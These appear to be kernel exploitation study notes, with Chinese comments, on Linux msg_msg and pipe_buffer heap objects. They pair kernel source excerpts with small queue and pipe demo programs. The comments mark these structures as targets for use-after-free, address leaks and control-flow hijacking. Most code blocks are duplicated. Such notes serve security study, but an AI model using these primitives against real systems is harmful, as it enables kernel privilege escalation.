int32_t make_queue(key_t key, int msg_flag)
{
    int32_t result;
    if ((result = msgget(key, msg_flag)) == -1)
    {
        perror("msgget failure");
        exit(-1);
    }
    return result;
}
 
 
 
void get_msg(int msg_queue_id, void *msg_buf, size_t msg_size, long msgtyp, int msg_flag)
{
    if (msgrcv(msg_queue_id, msg_buf, msg_size, msgtyp, msg_flag) < 0)
    {
        perror("msgrcv");
        exit(-1);
    }
    return;
}
 
void send_msg(int msg_queue_id, void *msg_buf, size_t msg_size, int msg_flag)
{
    if (msgsnd(msg_queue_id, msg_buf, msg_size, msg_flag) == -1)
    {
        perror("msgsend failure");
        exit(-1);
    }
    return;
}
 
 
int main()
{
    int queue_id, m_ts_size;
    char queue_recv_buf[0x2000];
    char queue_send_buf[0x2000];
 
    m_ts_size = 0x400-0x30;
    msgp *message = (msgp *)queue_send_buf;
    message->mtype = 0;
 
    memset(message->mtext,'\xaa', m_ts_size);
    memset(queue_recv_buf, '\xbb', sizeof(queue_recv_buf));
 
    queue_id = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
    send_msg(queue_id, message, m_ts_size, 0);
    get_msg(queue_id, queue_recv_buf, m_ts_size, 0, IPC_NOWAIT | MSG_COPY);
 
    return 0;
}
typedef struct
{
        long mtype;
        char mtext[1];
}msgp;
 
int32_t make_queue(key_t key, int msg_flag)
{
    int32_t result;
    if ((result = msgget(key, msg_flag)) == -1)
    {
        perror("msgget failure");
        exit(-1);
    }
    return result;
}
 
 
 
void get_msg(int msg_queue_id, void *msg_buf, size_t msg_size, long msgtyp, int msg_flag)
{
    if (msgrcv(msg_queue_id, msg_buf, msg_size, msgtyp, msg_flag) < 0)
    {
        perror("msgrcv");
        exit(-1);
    }
    return;
}
 
void send_msg(int msg_queue_id, void *msg_buf, size_t msg_size, int msg_flag)
{
    if (msgsnd(msg_queue_id, msg_buf, msg_size, msg_flag) == -1)
    {
        perror("msgsend failure");
        exit(-1);
    }
    return;
}
 
 
int main()
{
    int queue_id, m_ts_size;
    char queue_recv_buf[0x2000];
    char queue_send_buf[0x2000];
 
    m_ts_size = 0x400-0x30;
    msgp *message = (msgp *)queue_send_buf;
    message->mtype = 0;
 
    memset(message->mtext,'\xaa', m_ts_size);
    memset(queue_recv_buf, '\xbb', sizeof(queue_recv_buf));
 
    queue_id = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
    send_msg(queue_id, message, m_ts_size, 0);
    get_msg(queue_id, queue_recv_buf, m_ts_size, 0, IPC_NOWAIT | MSG_COPY);
 
    return 0;
}
msgget(key,msg_flag)->ksys_msgget()->ipcget()->ipcget_new()->newque()
msgget(key,msg_flag)->ksys_msgget()->ipcget()->ipcget_new()->newque()
//v5.11 /ipc/msg.c
static int newque(struct ipc_namespace *ns, struct ipc_params *params)
{
    struct msg_queue *msq;
    int retval;
    key_t key = params->key;
    int msgflg = params->flg;
 
    //这个才是实际申请的堆块内存
    msq = kvmalloc(sizeof(*msq), GFP_KERNEL);
    if (unlikely(!msq))
        return -ENOMEM;
 
    msq->q_perm.mode = msgflg & S_IRWXUGO;
    msq->q_perm.key = key;
 
    msq->q_perm.security = NULL;
    //进行相关注册
    retval = security_msg_queue_alloc(&msq->q_perm);
    if (retval) {
        kvfree(msq);
        return retval;
    }
 
    //初始化
    msq->q_stime = msq->q_rtime = 0;
    msq->q_ctime = ktime_get_real_seconds();
    msq->q_cbytes = msq->q_qnum = 0;
    msq->q_qbytes = ns->msg_ctlmnb;
    msq->q_lspid = msq->q_lrpid = NULL;
    INIT_LIST_HEAD(&msq->q_messages);
    INIT_LIST_HEAD(&msq->q_receivers);
    INIT_LIST_HEAD(&msq->q_senders);
 
    //下面一堆看不懂在干啥
    /* ipc_addid() locks msq upon success. */
    retval = ipc_addid(&msg_ids(ns), &msq->q_perm, ns->msg_ctlmni);
    if (retval < 0) {
        ipc_rcu_putref(&msq->q_perm, msg_rcu_free);
        return retval;
    }
    ipc_unlock_object(&msq->q_perm);
    rcu_read_unlock();
 
    return msq->q_perm.id;
}
//v5.11 /ipc/msg.c
static int newque(struct ipc_namespace *ns, struct ipc_params *params)
{
    struct msg_queue *msq;
    int retval;
    key_t key = params->key;
    int msgflg = params->flg;
 
    //这个才是实际申请的堆块内存
    msq = kvmalloc(sizeof(*msq), GFP_KERNEL);
    if (unlikely(!msq))
        return -ENOMEM;
 
    msq->q_perm.mode = msgflg & S_IRWXUGO;
    msq->q_perm.key = key;
 
    msq->q_perm.security = NULL;
    //进行相关注册
    retval = security_msg_queue_alloc(&msq->q_perm);
    if (retval) {
        kvfree(msq);
        return retval;
    }
 
    //初始化
    msq->q_stime = msq->q_rtime = 0;
    msq->q_ctime = ktime_get_real_seconds();
    msq->q_cbytes = msq->q_qnum = 0;
    msq->q_qbytes = ns->msg_ctlmnb;
    msq->q_lspid = msq->q_lrpid = NULL;
    INIT_LIST_HEAD(&msq->q_messages);
    INIT_LIST_HEAD(&msq->q_receivers);
    INIT_LIST_HEAD(&msq->q_senders);
 
    //下面一堆看不懂在干啥
    /* ipc_addid() locks msq upon success. */
    retval = ipc_addid(&msg_ids(ns), &msq->q_perm, ns->msg_ctlmni);
    if (retval < 0) {
        ipc_rcu_putref(&msq->q_perm, msg_rcu_free);
        return retval;
    }
    ipc_unlock_object(&msq->q_perm);
    rcu_read_unlock();
 
    return msq->q_perm.id;
}
//v5.11 /ipc/msg.c
struct msg_queue {
    //这些为一些相关信息
    struct kern_ipc_perm q_perm;
    time64_t q_stime;        /* last msgsnd time */
    time64_t q_rtime;        /* last msgrcv time */
    time64_t q_ctime;        /* last change time */
    unsigned long q_cbytes;        /* current number of bytes on queue */
    unsigned long q_qnum;        /* number of messages in queue */
    unsigned long q_qbytes;        /* max number of bytes on queue */
    struct pid *q_lspid;        /* pid of last msgsnd */
    struct pid *q_lrpid;        /* last receive pid */
 
    //存放msg_msg相关指针next、prev,比较重要,通常拿来溢出制造UAF
    //和该消息队列里的所有消息组成双向循环链表
    struct list_head q_messages;
    struct list_head q_receivers;
    struct list_head q_senders;
} __randomize_layout;
//v5.11 /ipc/msg.c
struct msg_queue {
    //这些为一些相关信息
    struct kern_ipc_perm q_perm;
    time64_t q_stime;        /* last msgsnd time */
    time64_t q_rtime;        /* last msgrcv time */
    time64_t q_ctime;        /* last change time */
    unsigned long q_cbytes;        /* current number of bytes on queue */
    unsigned long q_qnum;        /* number of messages in queue */
    unsigned long q_qbytes;        /* max number of bytes on queue */
    struct pid *q_lspid;        /* pid of last msgsnd */
    struct pid *q_lrpid;        /* last receive pid */
 
    //存放msg_msg相关指针next、prev,比较重要,通常拿来溢出制造UAF
    //和该消息队列里的所有消息组成双向循环链表
    struct list_head q_messages;
    struct list_head q_receivers;
    struct list_head q_senders;
} __randomize_layout;
msgsnd(msg_queue_id, msg_buf, msg_size, msg_flag)->do_msgsnd()->load_msg()->alloc_msg()
msgsnd(msg_queue_id, msg_buf, msg_size, msg_flag)->do_msgsnd()->load_msg()->alloc_msg()
//v5.11 /ipc/msgutil.c
static struct msg_msg *alloc_msg(size_t len)
{
    struct msg_msg *msg;
    struct msg_msgseg **pseg;
    size_t alen;
 
    //最大发送DATALEN_MSG长度的消息
    //#define DATALEN_MSG    ((size_t)PAGE_SIZE-sizeof(struct msg_msg))
    //这里的PAGE_SIZE为0x400,即最多kmalloc-
    alen = min(len, DATALEN_MSG);
    //使用正常
    msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
    if (msg == NULL)
        return NULL;
 
    //如果传入消息长度超过0x400-0x30,就再进行申请msg_msgseg。
    //使用kmalloc申请,标志为GFP_KERNEL_ACCOUNT。
    //最大也为0x400,也属于kmalloc-1024
    //还有再长的消息,就再申请msg_msgseg
    msg->next = NULL;
    msg->security = NULL;
    len -= alen;
    pseg = &msg->next;
    while (len > 0) {
        struct msg_msgseg *seg;
        //不知道干啥的
        cond_resched();
 
        alen = min(len, DATALEN_SEG);
        seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
        //申请完之后,将msg_msgseg放到msg->next这个单向链表上
        if (seg == NULL)
            goto out_err;
        *pseg = seg;
        seg->next = NULL;
        pseg = &seg->next;
        len -= alen;
    }
 
    return msg;
 
out_err:
    free_msg(msg);
    return NULL;
}
//v5.11 /ipc/msgutil.c
static struct msg_msg *alloc_msg(size_t len)
{
    struct msg_msg *msg;
    struct msg_msgseg **pseg;
    size_t alen;
 
    //最大发送DATALEN_MSG长度的消息
    //#define DATALEN_MSG    ((size_t)PAGE_SIZE-sizeof(struct msg_msg))
    //这里的PAGE_SIZE为0x400,即最多kmalloc-
    alen = min(len, DATALEN_MSG);
    //使用正常
    msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
    if (msg == NULL)
        return NULL;
 
    //如果传入消息长度超过0x400-0x30,就再进行申请msg_msgseg。
    //使用kmalloc申请,标志为GFP_KERNEL_ACCOUNT。
    //最大也为0x400,也属于kmalloc-1024
    //还有再长的消息,就再申请msg_msgseg
    msg->next = NULL;
    msg->security = NULL;
    len -= alen;
    pseg = &msg->next;
    while (len > 0) {
        struct msg_msgseg *seg;
        //不知道干啥的
        cond_resched();
 
        alen = min(len, DATALEN_SEG);
        seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
        //申请完之后,将msg_msgseg放到msg->next这个单向链表上
        if (seg == NULL)
            goto out_err;
        *pseg = seg;
        seg->next = NULL;
        pseg = &seg->next;
        len -= alen;
    }
 
    return msg;
 
out_err:
    free_msg(msg);
    return NULL;
}
//v5.11 /include/linux/msg.h
struct msg_msg {
    struct list_head m_list;//与msg_queue或者其他的msg_msg组成双向循环链表
    long m_type;
    size_t m_ts;        /* message text size */
    struct msg_msgseg *next;//单向链表,指向该条信息后面的msg_msgseg
    void *security;
    /* the actual message follows immediately */
};
//v5.11 /include/linux/msg.h
struct msg_msg {
    struct list_head m_list;//与msg_queue或者其他的msg_msg组成双向循环链表
    long m_type;
    size_t m_ts;        /* message text size */
    struct msg_msgseg *next;//单向链表,指向该条信息后面的msg_msgseg
    void *security;
    /* the actual message follows immediately */
};
//v5.11 /ipc/msgutil.c
struct msg_msgseg {
    struct msg_msgseg *next;
    /* the next part of the message follows immediately */
};
//v5.11 /ipc/msgutil.c
struct msg_msgseg {
    struct msg_msgseg *next;
    /* the next part of the message follows immediately */
};
 
struct msg_msg *load_msg(const void __user *src, size_t len)
{
    struct msg_msg *msg;
    struct msg_msgseg *seg;
    int err = -EFAULT;
    size_t alen;
 
    msg = alloc_msg(len);
    if (msg == NULL)
        return ERR_PTR(-ENOMEM);
 
    //先复制进msg_msg中存放消息的部分
    alen = min(len, DATALEN_MSG);
    if (copy_from_user(msg + 1, src, alen))
        goto out_err;
 
    //遍历msg_msg下的msg_msgseg,逐个存放数据进去
    for (seg = msg->next; seg != NULL; seg = seg->next) {
        len -= alen;
        src = (char __user *)src + alen;
        alen = min(len, DATALEN_SEG);
        if (copy_from_user(seg + 1, src, alen))
            goto out_err;
    }
 
    err = security_msg_msg_alloc(msg);
    if (err)
        goto out_err;
 
    return msg;
 
out_err:
    free_msg(msg);
    return ERR_PTR(err);
}
struct msg_msg *load_msg(const void __user *src, size_t len)
{
    struct msg_msg *msg;
    struct msg_msgseg *seg;
    int err = -EFAULT;
    size_t alen;
 
    msg = alloc_msg(len);
    if (msg == NULL)
        return ERR_PTR(-ENOMEM);
 
    //先复制进msg_msg中存放消息的部分
    alen = min(len, DATALEN_MSG);
    if (copy_from_user(msg + 1, src, alen))
        goto out_err;
 
    //遍历msg_msg下的msg_msgseg,逐个存放数据进去
    for (seg = msg->next; seg != NULL; seg = seg->next) {
        len -= alen;
        src = (char __user *)src + alen;
        alen = min(len, DATALEN_SEG);
        if (copy_from_user(seg + 1, src, alen))
            goto out_err;
    }
 
    err = security_msg_msg_alloc(msg);
    if (err)
        goto out_err;
 
    return msg;
 
out_err:
    free_msg(msg);
    return ERR_PTR(err);
}
msgrcv(msg_queue_id, msg_buf, msg_size, msgtyp, msg_flag)->SYS_msgrcv()->ksys_msgrcv()->do_msgrcv()->do_msg_fill()->store_msg()
msgrcv(msg_queue_id, msg_buf, msg_size, msgtyp, msg_flag)->SYS_msgrcv()->ksys_msgrcv()->do_msgrcv()->do_msg_fill()->store_msg()
static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,
                      long (*msg_handler)(void __user *, struct msg_msg *, size_t))
{
    int mode;
    struct msg_queue *msq;
    struct ipc_namespace *ns;
    struct msg_msg *msg, *copy = NULL;
    DEFINE_WAKE_Q(wake_q);
    //....
    if (msqid < 0 || (long) bufsz < 0)
        return -EINVAL;
    //设置了MSG_COPY标志位就会准备一个msg_msg的副本copy,通常用来防止unlink
    if (msgflg & MSG_COPY) {
        //从这里可以看出,同样也需要设置IPC_NOWAIT标志位才不会出错
        if ((msgflg & MSG_EXCEPT) || !(msgflg & IPC_NOWAIT))
            return -EINVAL;
        //这个prepare_copy()函数内部调用了load_msg()函数来创建一个新的msg_msg/msg_msgseg
        //传入的size参数为bufsz,就用户空间实际需要消息的长度,那么申请的堆块长度就可变了
        //不一定是这条消息的长度,而是由我们直接控制,虽然最后也会释放掉
        copy = prepare_copy(buf, min_t(size_t, bufsz, ns->msg_ctlmax));
        /*
        static inline struct msg_msg *prepare_copy(void __user *buf, size_t bufsz)
        {
            struct msg_msg *copy;
 
            copy = load_msg(buf, bufsz);
            if (!IS_ERR(copy))
                copy->m_ts = bufsz;
            return copy;
        }
        */
        if (IS_ERR(copy))
            return PTR_ERR(copy);
    }
    //这样就不会将msg_msg从msg_queue消息队列中进行Unlink摘除
    //只是释放堆块,在后续的代码中有显示
    //......
    //开始从msg_queue中寻找合适的msg_msg
    for (;;) {
        //.....
        msg = find_msg(msq, &msgtyp, mode);
        if (!IS_ERR(msg)) {
            /*
             * Found a suitable message.
             * Unlink it from the queue.
             */
            //最好设置MSG_NOERROR标志位,这样请求获取消息长度小于m_ts程序也不会退出了
            if ((bufsz < msg->m_ts) && !(msgflg & MSG_NOERROR)) {
                msg = ERR_PTR(-E2BIG);
                goto out_unlock0;
            }
            /*
             * If we are copying, then do not unlink message and do
             * not update queue parameters.
             */
            //设置了MSG_COPY标志位就会将msg数据复制给copy,然后将copy赋给msg
            if (msgflg & MSG_COPY) {
                //这个copy_msg()函数就是之前提到的在汇编层面就很奇怪
                msg = copy_msg(msg, copy);
                goto out_unlock0;
            }
 
            //下面是将msg_msg从和msg_queue组成的双向循环链表中unlink出来的部分
            list_del(&msg->m_list);
            msq->q_qnum--;
            msq->q_rtime = ktime_get_real_seconds();
            ipc_update_pid(&msq->q_lrpid, task_tgid(current));
            msq->q_cbytes -= msg->m_ts;
            atomic_sub(msg->m_ts, &ns->msg_bytes);
            atomic_dec(&ns->msg_hdrs);
            ss_wakeup(msq, &wake_q, false);
 
            goto out_unlock0;
        }
        //....
    }
 
out_unlock0:
    ipc_unlock_object(&msq->q_perm);
    wake_up_q(&wake_q);
out_unlock1:
    rcu_read_unlock();
    //如果存在copy副本,那么就free掉copy副本,然后返回,而不会free掉原本的msg堆块
    if (IS_ERR(msg)) {
        free_copy(copy);
        return PTR_ERR(msg);
    }
    //这个msg_handler函数指针即为传入的do_msg_fill()函数,从里面进行相关的数据复制
    bufsz = msg_handler(buf, msg, bufsz);
    //最后在这里进行相关堆块的释放
    free_msg(msg);
 
    return bufsz;
}
static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,
                      long (*msg_handler)(void __user *, struct msg_msg *, size_t))
{
    int mode;
    struct msg_queue *msq;
    struct ipc_namespace *ns;
    struct msg_msg *msg, *copy = NULL;
    DEFINE_WAKE_Q(wake_q);
    //....
    if (msqid < 0 || (long) bufsz < 0)
        return -EINVAL;
    //设置了MSG_COPY标志位就会准备一个msg_msg的副本copy,通常用来防止unlink
    if (msgflg & MSG_COPY) {
        //从这里可以看出,同样也需要设置IPC_NOWAIT标志位才不会出错
        if ((msgflg & MSG_EXCEPT) || !(msgflg & IPC_NOWAIT))
            return -EINVAL;
        //这个prepare_copy()函数内部调用了load_msg()函数来创建一个新的msg_msg/msg_msgseg
        //传入的size参数为bufsz,就用户空间实际需要消息的长度,那么申请的堆块长度就可变了
        //不一定是这条消息的长度,而是由我们直接控制,虽然最后也会释放掉
        copy = prepare_copy(buf, min_t(size_t, bufsz, ns->msg_ctlmax));
        /*
        static inline struct msg_msg *prepare_copy(void __user *buf, size_t bufsz)
        {
            struct msg_msg *copy;
 
            copy = load_msg(buf, bufsz);
            if (!IS_ERR(copy))
                copy->m_ts = bufsz;
            return copy;
        }
        */
        if (IS_ERR(copy))
            return PTR_ERR(copy);
    }
    //这样就不会将msg_msg从msg_queue消息队列中进行Unlink摘除
    //只是释放堆块,在后续的代码中有显示
    //......
    //开始从msg_queue中寻找合适的msg_msg
    for (;;) {
        //.....
        msg = find_msg(msq, &msgtyp, mode);
        if (!IS_ERR(msg)) {
            /*
             * Found a suitable message.
             * Unlink it from the queue.
             */
            //最好设置MSG_NOERROR标志位,这样请求获取消息长度小于m_ts程序也不会退出了
            if ((bufsz < msg->m_ts) && !(msgflg & MSG_NOERROR)) {
                msg = ERR_PTR(-E2BIG);
                goto out_unlock0;
            }
            /*
             * If we are copying, then do not unlink message and do
             * not update queue parameters.
             */
            //设置了MSG_COPY标志位就会将msg数据复制给copy,然后将copy赋给msg
            if (msgflg & MSG_COPY) {
                //这个copy_msg()函数就是之前提到的在汇编层面就很奇怪
                msg = copy_msg(msg, copy);
                goto out_unlock0;
            }
 
            //下面是将msg_msg从和msg_queue组成的双向循环链表中unlink出来的部分
            list_del(&msg->m_list);
            msq->q_qnum--;
            msq->q_rtime = ktime_get_real_seconds();
            ipc_update_pid(&msq->q_lrpid, task_tgid(current));
            msq->q_cbytes -= msg->m_ts;
            atomic_sub(msg->m_ts, &ns->msg_bytes);
            atomic_dec(&ns->msg_hdrs);
            ss_wakeup(msq, &wake_q, false);
 
            goto out_unlock0;
        }
        //....
    }
 
out_unlock0:
    ipc_unlock_object(&msq->q_perm);
    wake_up_q(&wake_q);
out_unlock1:
    rcu_read_unlock();
    //如果存在copy副本,那么就free掉copy副本,然后返回,而不会free掉原本的msg堆块
    if (IS_ERR(msg)) {
        free_copy(copy);
        return PTR_ERR(msg);
    }
    //这个msg_handler函数指针即为传入的do_msg_fill()函数,从里面进行相关的数据复制
    bufsz = msg_handler(buf, msg, bufsz);
    //最后在这里进行相关堆块的释放
    free_msg(msg);
 
    return bufsz;
}
//v5.11 do_msgrcv()函数中的
/* If we are copying, then do not unlink message and do
    * not update queue parameters.
    */
if (msgflg & MSG_COPY) {
    msg = copy_msg(msg, copy);
    goto out_unlock0;
}
 
//下面是unlink的部分,如果msg_msg结构被修改了可能会出错的
list_del(&msg->m_list);
msq->q_qnum--;
msq->q_rtime = ktime_get_real_seconds();
ipc_update_pid(&msq->q_lrpid, task_tgid(current));
msq->q_cbytes -= msg->m_ts;
atomic_sub(msg->m_ts, &ns->msg_bytes);
atomic_dec(&ns->msg_hdrs);
ss_wakeup(msq, &wake_q, false);
 
goto out_unlock0;
//v5.11 do_msgrcv()函数中的
/* If we are copying, then do not unlink message and do
    * not update queue parameters.
    */
if (msgflg & MSG_COPY) {
    msg = copy_msg(msg, copy);
    goto out_unlock0;
}
 
//下面是unlink的部分,如果msg_msg结构被修改了可能会出错的
list_del(&msg->m_list);
msq->q_qnum--;
msq->q_rtime = ktime_get_real_seconds();
ipc_update_pid(&msq->q_lrpid, task_tgid(current));
msq->q_cbytes -= msg->m_ts;
atomic_sub(msg->m_ts, &ns->msg_bytes);
atomic_dec(&ns->msg_hdrs);
ss_wakeup(msq, &wake_q, false);
 
goto out_unlock0;
//v5.11 /ipc/msgutil.c
#ifdef CONFIG_CHECKPOINT_RESTORE
struct msg_msg *copy_msg(struct msg_msg *src, struct msg_msg *dst)
{
    //正常的一些数据复制
}
#else
//如果没有设置CONFIG_CHECKPOINT_RESTORE=y则会出错
struct msg_msg *copy_msg(struct msg_msg *src, struct msg_msg *dst)
{
    return ERR_PTR(-ENOSYS);
}
#endif
//v5.11 /ipc/msgutil.c
#ifdef CONFIG_CHECKPOINT_RESTORE
struct msg_msg *copy_msg(struct msg_msg *src, struct msg_msg *dst)
{
    //正常的一些数据复制
}
#else
//如果没有设置CONFIG_CHECKPOINT_RESTORE=y则会出错
struct msg_msg *copy_msg(struct msg_msg *src, struct msg_msg *dst)
{
    return ERR_PTR(-ENOSYS);
}
#endif
 
 
bufsz = msg_handler(buf, msg, bufsz);
free_msg(msg);
bufsz = msg_handler(buf, msg, bufsz);
free_msg(msg);
 
 
 
 
 
 
 
 
//v4.9----ipc/msgutil.c
#define DATALEN_MSG    ((size_t)PAGE_SIZE-sizeof(struct msg_msg))
#define DATALEN_SEG    ((size_t)PAGE_SIZE-sizeof(struct msg_msgseg))
----------------------------------------------------------------
int store_msg(void __user *dest, struct msg_msg *msg, size_t len)
{
    size_t alen;
    struct msg_msgseg *seg;
 
    alen = min(len, DATALEN_MSG);
    if (copy_to_user(dest, msg + 1, alen))
        return -1;
 
    for (seg = msg->next; seg != NULL; seg = seg->next) {
        len -= alen;
        dest = (char __user *)dest + alen;
        alen = min(len, DATALEN_SEG);
        if (copy_to_user(dest, seg + 1, alen))
            return -1;
    }
    return 0;
}
//v4.9----ipc/msgutil.c
#define DATALEN_MSG    ((size_t)PAGE_SIZE-sizeof(struct msg_msg))
#define DATALEN_SEG    ((size_t)PAGE_SIZE-sizeof(struct msg_msgseg))
----------------------------------------------------------------
int store_msg(void __user *dest, struct msg_msg *msg, size_t len)
{
    size_t alen;
    struct msg_msgseg *seg;
 
    alen = min(len, DATALEN_MSG);
    if (copy_to_user(dest, msg + 1, alen))
        return -1;
 
    for (seg = msg->next; seg != NULL; seg = seg->next) {
        len -= alen;
        dest = (char __user *)dest + alen;
        alen = min(len, DATALEN_SEG);
        if (copy_to_user(dest, seg + 1, alen))
            return -1;
    }
    return 0;
}
 
 
 
 
#include <unistd.h>
 
//使用pipe或者pipe2
int pipe_fd[2];
 
pipe(pipe_fd);//默认阻塞状态
//pipe2(pipe_fd,flag);
#include <unistd.h>
 
//使用pipe或者pipe2
int pipe_fd[2];
 
pipe(pipe_fd);//默认阻塞状态
//pipe2(pipe_fd,flag);
 
 
 
//v5.9  /fs/pipe.c
const struct file_operations pipefifo_fops = {
    .open        = fifo_open,
    .llseek        = no_llseek,
    .read_iter    = pipe_read,
    .write_iter    = pipe_write,
    .poll        = pipe_poll,
    .unlocked_ioctl    = pipe_ioctl,
    .release    = pipe_release,
    .fasync        = pipe_fasync,
};
//v5.9  /fs/pipe.c
const struct file_operations pipefifo_fops = {
    .open        = fifo_open,
    .llseek        = no_llseek,
    .read_iter    = pipe_read,
    .write_iter    = pipe_write,
    .poll        = pipe_poll,
    .unlocked_ioctl    = pipe_ioctl,
    .release    = pipe_release,
    .fasync        = pipe_fasync,
};
int pipe_fd[2];
pipe(pipe_fd);
 
printf("pipe_fd[0]:%d\n",pipe_fd[0]);
printf("pipe_fd[1]:%d\n",pipe_fd[1]);
int pipe_fd[2];
pipe(pipe_fd);
 
printf("pipe_fd[0]:%d\n",pipe_fd[0]);
printf("pipe_fd[1]:%d\n",pipe_fd[1]);
 
 
char buf[0x8] = {0};
char* msg = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
write(pipe_fd[1],msg,0x8);
read(pipe_fd[0],buf,0x8);
char buf[0x8] = {0};
char* msg = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
write(pipe_fd[1],msg,0x8);
read(pipe_fd[0],buf,0x8);
close(pipe_fd[0]);
close(pipe_fd[1]);
close(pipe_fd[0]);
close(pipe_fd[1]);
SYSCALL_DEFINE2(pipe2, int __user *, fildes, int, flags)
{
    return do_pipe2(fildes, flags);
}
 
SYSCALL_DEFINE1(pipe, int __user *, fildes) /* pipe() 系统调用 */
{
    return do_pipe2(fildes, 0);
}
SYSCALL_DEFINE2(pipe2, int __user *, fildes, int, flags)
{
    return do_pipe2(fildes, flags);
}
 
SYSCALL_DEFINE1(pipe, int __user *, fildes) /* pipe() 系统调用 */
{
    return do_pipe2(fildes, 0);
}
do_pipe2()->__do_pipe_flags()->create_pipe_files()->get_pipe_inode()->alloc_pipe_info()
do_pipe2()->__do_pipe_flags()->create_pipe_files()->get_pipe_inode()->alloc_pipe_info()
//v5.9 /fs/pipe.c
struct pipe_inode_info *alloc_pipe_info(void)
{
    struct pipe_inode_info *pipe;
    unsigned long pipe_bufs = PIPE_DEF_BUFFERS;
 
    //#define PIPE_DEF_BUFFERS    16
    //.....
    //pipe_inode_info管理结构,大小为0xa0,属于kmalloc-192
    pipe = kzalloc(sizeof(struct pipe_inode_info), GFP_KERNEL_ACCOUNT);
    if (pipe == NULL)
        goto out_free_uid;
 
    //.....
    //相关的消息结构为pipe_buffer数组,总共16*0x28=0x280,直接从kmalloc-1024中拿取堆块
    pipe->bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer),
                 GFP_KERNEL_ACCOUNT);
 
    //.....
    //对申请的pipe管道进行一些初始化
    if (pipe->bufs) {
        init_waitqueue_head(&pipe->rd_wait);
        init_waitqueue_head(&pipe->wr_wait);
        pipe->r_counter = pipe->w_counter = 1;
        pipe->max_usage = pipe_bufs;
        pipe->ring_size = pipe_bufs;
        pipe->nr_accounted = pipe_bufs;
        pipe->user = user;
        mutex_init(&pipe->mutex);
        return pipe;
    }
 
    //.....
    //出错的话则会释放掉,具体干啥的不太清楚
out_free_uid:
    free_uid(user);
    return NULL;
}
//v5.9 /fs/pipe.c
struct pipe_inode_info *alloc_pipe_info(void)
{
    struct pipe_inode_info *pipe;
    unsigned long pipe_bufs = PIPE_DEF_BUFFERS;
 
    //#define PIPE_DEF_BUFFERS    16
    //.....
    //pipe_inode_info管理结构,大小为0xa0,属于kmalloc-192
    pipe = kzalloc(sizeof(struct pipe_inode_info), GFP_KERNEL_ACCOUNT);
    if (pipe == NULL)
        goto out_free_uid;
 
    //.....
    //相关的消息结构为pipe_buffer数组,总共16*0x28=0x280,直接从kmalloc-1024中拿取堆块
    pipe->bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer),
                 GFP_KERNEL_ACCOUNT);
 
    //.....
    //对申请的pipe管道进行一些初始化
    if (pipe->bufs) {
        init_waitqueue_head(&pipe->rd_wait);
        init_waitqueue_head(&pipe->wr_wait);
        pipe->r_counter = pipe->w_counter = 1;
        pipe->max_usage = pipe_bufs;
        pipe->ring_size = pipe_bufs;
        pipe->nr_accounted = pipe_bufs;
        pipe->user = user;
        mutex_init(&pipe->mutex);
        return pipe;
    }
 
    //.....
    //出错的话则会释放掉,具体干啥的不太清楚
out_free_uid:
    free_uid(user);
    return NULL;
}
//v5.9 /include/linux/pipe_fs_i.h
struct pipe_inode_info {
    struct mutex mutex;
    wait_queue_head_t rd_wait, wr_wait;
    unsigned int head;
    unsigned int tail;
    unsigned int max_usage;
    unsigned int ring_size;
#ifdef CONFIG_WATCH_QUEUE
    bool note_loss;
#endif
    unsigned int nr_accounted;
    unsigned int readers;
    unsigned int writers;
    unsigned int files;//文件描述符计数,都为0时才会释放管道
    unsigned int r_counter;
    unsigned int w_counter;
    struct page *tmp_page;
    struct fasync_struct *fasync_readers;
    struct fasync_struct *fasync_writers;
    //pipe_buffer数组,16个,每个大小为0xa0,通常我们从这上面泄露地址或者劫持程序流
    struct pipe_buffer *bufs;
    struct user_struct *user;
#ifdef CONFIG_WATCH_QUEUE
    struct watch_queue *watch_queue;
#endif
};
//v5.9 /include/linux/pipe_fs_i.h
struct pipe_inode_info {
    struct mutex mutex;
    wait_queue_head_t rd_wait, wr_wait;
    unsigned int head;
    unsigned int tail;
    unsigned int max_usage;
    unsigned int ring_size;
#ifdef CONFIG_WATCH_QUEUE
    bool note_loss;
#endif
    unsigned int nr_accounted;
    unsigned int readers;
    unsigned int writers;
    unsigned int files;//文件描述符计数,都为0时才会释放管道
    unsigned int r_counter;
    unsigned int w_counter;
    struct page *tmp_page;
    struct fasync_struct *fasync_readers;
    struct fasync_struct *fasync_writers;
    //pipe_buffer数组,16个,每个大小为0xa0,通常我们从这上面泄露地址或者劫持程序流
    struct pipe_buffer *bufs;
    struct user_struct *user;
#ifdef CONFIG_WATCH_QUEUE
    struct watch_queue *watch_queue;
#endif
};
 
pipe_release()->put_pipe_info()->free_pipe_info()
pipe_release()->put_pipe_info()->free_pipe_info()
//v5.9 /fs/pipe.c
static void put_pipe_info(struct inode *inode, struct pipe_inode_info *pipe)
{
    int kill = 0;
 
    spin_lock(&inode->i_lock);
    if (!--pipe->files) {
        inode->i_pipe = NULL;
        kill = 1;
    }
    spin_unlock(&inode->i_lock);
 
    //当files为0才会进入该函数
    if (kill)
        free_pipe_info(pipe);
}
//v5.9 /fs/pipe.c
static void put_pipe_info(struct inode *inode, struct pipe_inode_info *pipe)
{
    int kill = 0;
 
    spin_lock(&inode->i_lock);
    if (!--pipe->files) {
        inode->i_pipe = NULL;
        kill = 1;
    }
    spin_unlock(&inode->i_lock);
 
    //当files为0才会进入该函数
    if (kill)
        free_pipe_info(pipe);
}
 
//v5.9 /fs/pipe.c
void free_pipe_info(struct pipe_inode_info *pipe)
{
    int i;
    //....
    //和管道相关的释放有关,也是相关的漏洞点
    for (i = 0; i < pipe->ring_size; i++) {
        struct pipe_buffer *buf = pipe->bufs + i;
        if (buf->ops)
            pipe_buf_release(pipe, buf);
    }
    //......
    //释放pipe_buffer数组,kmalloc-1024
    kfree(pipe->bufs);
    //释放pipe_inode_info管理结构,kmalloc-192
    kfree(pipe);
}
